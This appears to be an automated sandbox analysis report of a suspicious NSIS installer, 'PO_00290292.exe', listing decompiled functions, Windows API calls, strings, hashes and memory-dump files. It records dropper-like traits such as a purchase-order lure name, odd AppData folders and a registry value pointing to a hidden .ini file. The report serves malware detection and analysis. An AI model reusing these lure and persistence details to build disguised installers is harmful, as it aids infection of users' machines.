IsWindowEnabled.USER32(00000000), ref: 00403E2F
GetDlgItem.USER32(?,00000001), ref: 00403EDD
GetDlgItem.USER32(?,00000002), ref: 00403EE7
SetClassLongW.USER32(?,000000F2,?), ref: 00403F01
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F52
GetDlgItem.USER32(?,00000003), ref: 00403FF8
ShowWindow.USER32(00000000,?), ref: 00404019
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040402B
EnableWindow.USER32(?,?), ref: 00404046
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040405C
EnableMenuItem.USER32(00000000), ref: 00404063
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040407B
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040408E
lstrlenW.KERNEL32(00423728,?,00423728,00429240), ref: 004040B7
SetWindowTextW.USER32(?,00423728), ref: 004040CB
ShowWindow.USER32(?,0000000A), ref: 004041FF

Strings

(7B, xrefs: 004040A3

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: dd9405652fbbb87ab488d8a14d0aeb81f33be68f6094b2cdc8f2b1d388c01c08
Instruction ID: 4530f9416eb169af0d44378ddba5762a1eee688012323a74912104aead4a3b33
Opcode Fuzzy Hash: dd9405652fbbb87ab488d8a14d0aeb81f33be68f6094b2cdc8f2b1d388c01c08
Instruction Fuzzy Hash: A5C1FFB1640200FFCB206F61EE84E2B3AA8EB95745F40057EF641B21F1CB7999529B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004039C7 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406558: GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
Part of subcall function 00406558: GetProcAddress.KERNEL32(00000000,?), ref: 00406585

lstrcatW.KERNEL32(1033,00423728), ref: 00403A48
lstrlenW.KERNEL32(Remove folder: ,?,?,?,Remove folder: ,00000000,C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,75573420), ref: 00403AC8
lstrcmpiW.KERNEL32(?,.exe,Remove folder: ,?,?,?,Remove folder: ,00000000,C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403ADB
GetFileAttributesW.KERNEL32(Remove folder: ), ref: 00403AE6
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement), ref: 00403B2F

Part of subcall function 004060C5: wsprintfW.USER32 ref: 004060D2

RegisterClassW.USER32(004291E0), ref: 00403B6C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B84
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403BB9
ShowWindow.USER32(00000005,00000000), ref: 00403BEF
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403C1B
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403C28
RegisterClassW.USER32(004291E0), ref: 00403C31
DialogBoxParamW.USER32(?,00000000,00403D6A,00000000), ref: 00403C50

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004039CC
1033, xrefs: 004039E7, 00403A43
.exe, xrefs: 00403AD5
RichEd20, xrefs: 00403BF5
RichEdit20W, xrefs: 00403C13, 00403C19
.DEFAULT\Control Panel\International, xrefs: 00403A33
Control Panel\Desktop\ResourceLocale, xrefs: 004039FB
C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 00403A57, 00403A5F, 00403B02, 00403B08, 00403B18
"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 004039CB
RichEd32, xrefs: 00403C03
_Nb, xrefs: 00403B4B, 00403BB3
(7B, xrefs: 004039F3
Remove folder: , xrefs: 00403A8F, 00403A98, 00403AA6, 00403AF5, 00403AFB
RichEdit, xrefs: 00403C22

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement$Control Panel\Desktop\ResourceLocale$Remove folder: $RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3822136923
Opcode ID: d6eb97ecc45ceecdb0e2d203f76fda1198e4e833a1627c35b81ac0c75580ce77
Instruction ID: e7f44595d902892b35b801f2f0c3734befc0b18a393fec54347386a87508d522
Opcode Fuzzy Hash: d6eb97ecc45ceecdb0e2d203f76fda1198e4e833a1627c35b81ac0c75580ce77
Instruction Fuzzy Hash: 8661C570244200BAD730AF669D49E2B3A7CEB84B49F40453FF981B62E2DB7D5912C63D

Uniqueness

Uniqueness Score: -1.00%

Function 00402E41 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402E55
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO_00290292.exe,00000400), ref: 00402E71

Part of subcall function 00405D53: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00405D57
Part of subcall function 00405D53: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO_00290292.exe,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00402EBA
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403001

Strings

Error launching installer, xrefs: 00402E91
soft, xrefs: 00402F31
"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 00402E41
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040304A
Null, xrefs: 00402F3A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403098
Inst, xrefs: 00402F28
C:\Users\user\AppData\Local\Temp\, xrefs: 00402E4B, 00403019
C:\Users\user\Desktop, xrefs: 00402E9C, 00402EA1, 00402EA7
C:\Users\user\Desktop\PO_00290292.exe, xrefs: 00402E5B, 00402E6A, 00402E7E, 00402E9B
x~, xrefs: 004030C6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PO_00290292.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$x~
API String ID: 2803837635-2767144313
Opcode ID: cc8dbefb85167051c5f544e5004306f35bb35ae70e2c75d84afc589ab8111160
Instruction ID: e866f1dd798e5fb15c0a347603bcfded6ce2f229c2e481af73dd86df93422dd6
Opcode Fuzzy Hash: cc8dbefb85167051c5f544e5004306f35bb35ae70e2c75d84afc589ab8111160
Instruction Fuzzy Hash: 9761C431A00215ABDB209F75DD49B9E7BB8EB00359F20817FF500F62D1DABD9A448B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,%derivering%\gadedrenges,%derivering%\gadedrenges,00000000,00000000,%derivering%\gadedrenges,C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement,?,?,00000031), ref: 004017CD

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

Part of subcall function 004052DD: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 00401796
practical, xrefs: 0040182D, 00401849
%derivering%\gadedrenges, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: %derivering%\gadedrenges$C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini$practical
API String ID: 1941528284-3816768022
Opcode ID: adcefff22d6d35a46cade79b64999059c3ac28fc575844980da9404600bf010c
Instruction ID: b64174440326d41e90dd14f1ad6608c73badddfa8ee8632f400ec40acf256ac3
Opcode Fuzzy Hash: adcefff22d6d35a46cade79b64999059c3ac28fc575844980da9404600bf010c
Instruction Fuzzy Hash: 0C41C431900515BACF117FB5CC46DAE3679EF05329B20827BF422F51E2DA3C86629A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004052DD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
lstrlenW.KERNEL32(00402E19,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00402E19), ref: 00405338
SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\), ref: 0040534A
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Strings

Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\, xrefs: 004052FE, 0040530E, 00405314, 00405337, 00405343

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\
API String ID: 2531174081-2912221903
Opcode ID: e0d278b4f454602652d1392a5fb3045d02927be56822f9b38c604404e895085a
Instruction ID: d14990956ab1253184f877e9e8298894284f42a30aea32824f5004b5108fa95f
Opcode Fuzzy Hash: e0d278b4f454602652d1392a5fb3045d02927be56822f9b38c604404e895085a
Instruction Fuzzy Hash: 62217F71900518BACF119FA6DD44ACFBFB8EF85354F10807AF904B62A1C7B94A51DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004057AC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004057EF
GetLastError.KERNEL32 ref: 00405803
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405818
GetLastError.KERNEL32 ref: 00405822

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057D2
C:\Users\user\Desktop, xrefs: 004057AC

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-1326413622
Opcode ID: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction ID: b278f7ea68de5888e34302da86fdb06c438f4ef9b03e74a9ab654546e4f81ce2
Opcode Fuzzy Hash: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction Fuzzy Hash: 89010871D00619DADF10DBA0D9447EFBFB8EB04304F00803ADA44B6190E7789618DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004064E8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004064FF
wsprintfW.USER32 ref: 0040653A
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040654E

Strings

%s%S.dll, xrefs: 00406534
\, xrefs: 00406510
UXTHEME, xrefs: 004064F1

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction ID: c6b4a3c42f63eea3762d57d51081eb848d485012b63e63803453d9912f42ff06
Opcode Fuzzy Hash: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction Fuzzy Hash: 3AF0FC70500219BADB10AB64ED0DF9B366CAB00304F10403AA646F10D0EB7CD725CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini
API String ID: 1356686001-1176133737
Opcode ID: 67c77c8d659d9d4bc82cacddac1e216fe0077c84403bdf1d9c96e54a2d3d16bf
Instruction ID: d84b147cfae213de6894e87518a1957a70c03431d85ade02b305fde94438308f
Opcode Fuzzy Hash: 67c77c8d659d9d4bc82cacddac1e216fe0077c84403bdf1d9c96e54a2d3d16bf
Instruction Fuzzy Hash: E511C071E00108BFEB10AFA4DE89DAE777DEB14358F11403AF904B71D1DBB85E409668

Uniqueness

Uniqueness Score: -1.00%

Function 00405D82 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DA0
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\PO_00290292.exe",004033B4,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405DBB

Strings

"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 00405D82
C:\Users\user\AppData\Local\Temp\, xrefs: 00405D87
nsa, xrefs: 00405D8F

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
